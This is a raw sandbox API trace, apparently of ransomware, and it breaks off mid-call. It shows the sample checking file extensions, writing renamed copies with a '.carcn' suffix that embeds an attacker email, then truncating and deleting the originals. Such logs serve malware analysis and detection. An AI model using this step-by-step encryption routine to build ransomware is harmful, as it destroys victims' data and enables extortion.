1 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString=".zip") returned 4 [0160.890] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString=".rar") returned 4 [0160.890] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString=".bz2") returned 4 [0160.890] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.890] lstrlenW (lpString=".7z") returned 3 [0160.890] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString=".dbf") returned 4 [0160.890] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString=".1cd") returned 4 [0160.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.891] lstrlenW (lpString=".jpg") returned 4 [0160.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.891] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0160.891] lstrlenW (lpString="SetupResources.dll") returned 18 [0160.891] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0160.891] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18264) returned 1 [0160.891] CloseHandle (hObject=0x308) returned 1 [0160.891] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0160.891] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.891] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0160.891] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.892] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.892] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0160.989] GetLastError () returned 0x0 [0160.989] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4758, lpOverlapped=0x0) returned 1 [0161.170] WriteFile (in: hFile=0x2d4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4760, lpOverlapped=0x0) returned 1 [0161.171] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.171] WriteFile (in: hFile=0x2d4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.171] SetEndOfFile (hFile=0x2d4) returned 1 [0161.171] CloseHandle (hObject=0x2d4) returned 1 [0161.172] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.172] SetEndOfFile (hFile=0x308) returned 1 [0161.173] CloseHandle (hObject=0x308) returned 1 [0161.173] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.173] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.174] lstrlenW (lpString=".doc") returned 4 [0161.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString=".docx") returned 5 [0161.174] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.174] lstrlenW (lpString=".pdf") returned 4 [0161.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString=".xls") returned 4 [0161.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString=".xlsx") returned 5 [0161.174] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.174] lstrlenW (lpString=".ppt") returned 4 [0161.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.174] lstrlenW (lpString=".zip") returned 4 [0161.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString=".rar") returned 4 [0161.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.174] lstrlenW (lpString=".bz2") returned 4 [0161.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.174] lstrlenW (lpString=".7z") returned 3 [0161.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.174] lstrlenW (lpString=".dbf") returned 4 [0161.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.174] lstrlenW (lpString=".1cd") returned 4 [0161.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.175] lstrlenW (lpString=".jpg") returned 4 [0161.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.175] lstrlenW (lpString=".doc") returned 4 [0161.175] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString=".docx") returned 5 [0161.175] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.175] lstrlenW (lpString=".pdf") returned 4 [0161.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString=".xls") returned 4 [0161.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString=".xlsx") returned 5 [0161.175] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.175] lstrlenW (lpString=".ppt") returned 4 [0161.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.175] lstrlenW (lpString=".zip") returned 4 [0161.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString=".rar") returned 4 [0161.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.175] lstrlenW (lpString=".bz2") returned 4 [0161.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.175] lstrlenW (lpString=".7z") returned 3 [0161.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.176] lstrlenW (lpString=".dbf") returned 4 [0161.176] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.176] lstrlenW (lpString=".1cd") returned 4 [0161.176] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0161.176] lstrlenW (lpString=".jpg") returned 4 [0161.176] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.176] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.176] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.176] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=14168) returned 1 [0161.176] CloseHandle (hObject=0x308) returned 1 [0161.176] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0161.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.177] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.177] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.178] GetLastError () returned 0x0 [0161.178] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x3758, lpOverlapped=0x0) returned 1 [0161.203] WriteFile (in: hFile=0x2d4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x3760, lpOverlapped=0x0) returned 1 [0161.204] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.205] WriteFile (in: hFile=0x2d4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.205] SetEndOfFile (hFile=0x2d4) returned 1 [0161.205] CloseHandle (hObject=0x2d4) returned 1 [0161.206] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.206] SetEndOfFile (hFile=0x308) returned 1 [0161.206] CloseHandle (hObject=0x308) returned 1 [0161.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.207] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0161.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.207] lstrlenW (lpString=".doc") returned 4 [0161.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.207] lstrlenW (lpString=".docx") returned 5 [0161.207] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.207] lstrlenW (lpString=".pdf") returned 4 [0161.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.207] lstrlenW (lpString=".xls") returned 4 [0161.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString=".xlsx") returned 5 [0161.208] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.208] lstrlenW (lpString=".ppt") returned 4 [0161.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString=".zip") returned 4 [0161.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString=".rar") returned 4 [0161.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString=".bz2") returned 4 [0161.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.208] lstrlenW (lpString=".7z") returned 3 [0161.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString=".dbf") returned 4 [0161.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString=".1cd") returned 4 [0161.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString=".jpg") returned 4 [0161.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.208] lstrlenW (lpString=".doc") returned 4 [0161.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.208] lstrlenW (lpString=".docx") returned 5 [0161.208] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.208] lstrlenW (lpString=".pdf") returned 4 [0161.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.209] lstrlenW (lpString=".xls") returned 4 [0161.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.209] lstrlenW (lpString=".xlsx") returned 5 [0161.209] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.209] lstrlenW (lpString=".ppt") returned 4 [0161.209] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.209] lstrlenW (lpString=".zip") returned 4 [0161.209] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.209] lstrlenW (lpString=".rar") returned 4 [0161.209] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.209] lstrlenW (lpString=".bz2") returned 4 [0161.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.209] lstrlenW (lpString=".7z") returned 3 [0161.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.209] lstrlenW (lpString=".dbf") returned 4 [0161.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.209] lstrlenW (lpString=".1cd") returned 4 [0161.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0161.209] lstrlenW (lpString=".jpg") returned 4 [0161.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.209] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.209] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.210] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18776) returned 1 [0161.210] CloseHandle (hObject=0x308) returned 1 [0161.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0161.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.231] GetLastError () returned 0x0 [0161.231] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4958, lpOverlapped=0x0) returned 1 [0161.341] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4960, lpOverlapped=0x0) returned 1 [0161.342] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.342] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.343] SetEndOfFile (hFile=0x318) returned 1 [0161.343] CloseHandle (hObject=0x318) returned 1 [0161.343] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.344] SetEndOfFile (hFile=0x308) returned 1 [0161.344] CloseHandle (hObject=0x308) returned 1 [0161.344] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.345] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0161.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.345] lstrlenW (lpString=".doc") returned 4 [0161.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString=".docx") returned 5 [0161.345] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.345] lstrlenW (lpString=".pdf") returned 4 [0161.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString=".xls") returned 4 [0161.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString=".xlsx") returned 5 [0161.345] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.345] lstrlenW (lpString=".ppt") returned 4 [0161.345] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.345] lstrlenW (lpString=".zip") returned 4 [0161.345] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString=".rar") returned 4 [0161.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.345] lstrlenW (lpString=".bz2") returned 4 [0161.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.345] lstrlenW (lpString=".7z") returned 3 [0161.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.345] lstrlenW (lpString=".dbf") returned 4 [0161.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.346] lstrlenW (lpString=".1cd") returned 4 [0161.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.346] lstrlenW (lpString=".jpg") returned 4 [0161.346] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.346] lstrlenW (lpString=".doc") returned 4 [0161.346] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString=".docx") returned 5 [0161.346] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.346] lstrlenW (lpString=".pdf") returned 4 [0161.346] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString=".xls") returned 4 [0161.346] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString=".xlsx") returned 5 [0161.346] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.346] lstrlenW (lpString=".ppt") returned 4 [0161.346] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.346] lstrlenW (lpString=".zip") returned 4 [0161.346] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString=".rar") returned 4 [0161.346] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.346] lstrlenW (lpString=".bz2") returned 4 [0161.346] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.347] lstrlenW (lpString=".7z") returned 3 [0161.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.347] lstrlenW (lpString=".dbf") returned 4 [0161.347] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.347] lstrlenW (lpString=".1cd") returned 4 [0161.347] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0161.347] lstrlenW (lpString=".jpg") returned 4 [0161.347] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.347] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.347] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0161.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.347] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=88533) returned 1 [0161.347] CloseHandle (hObject=0x308) returned 1 [0161.347] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0161.347] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.348] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.348] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, 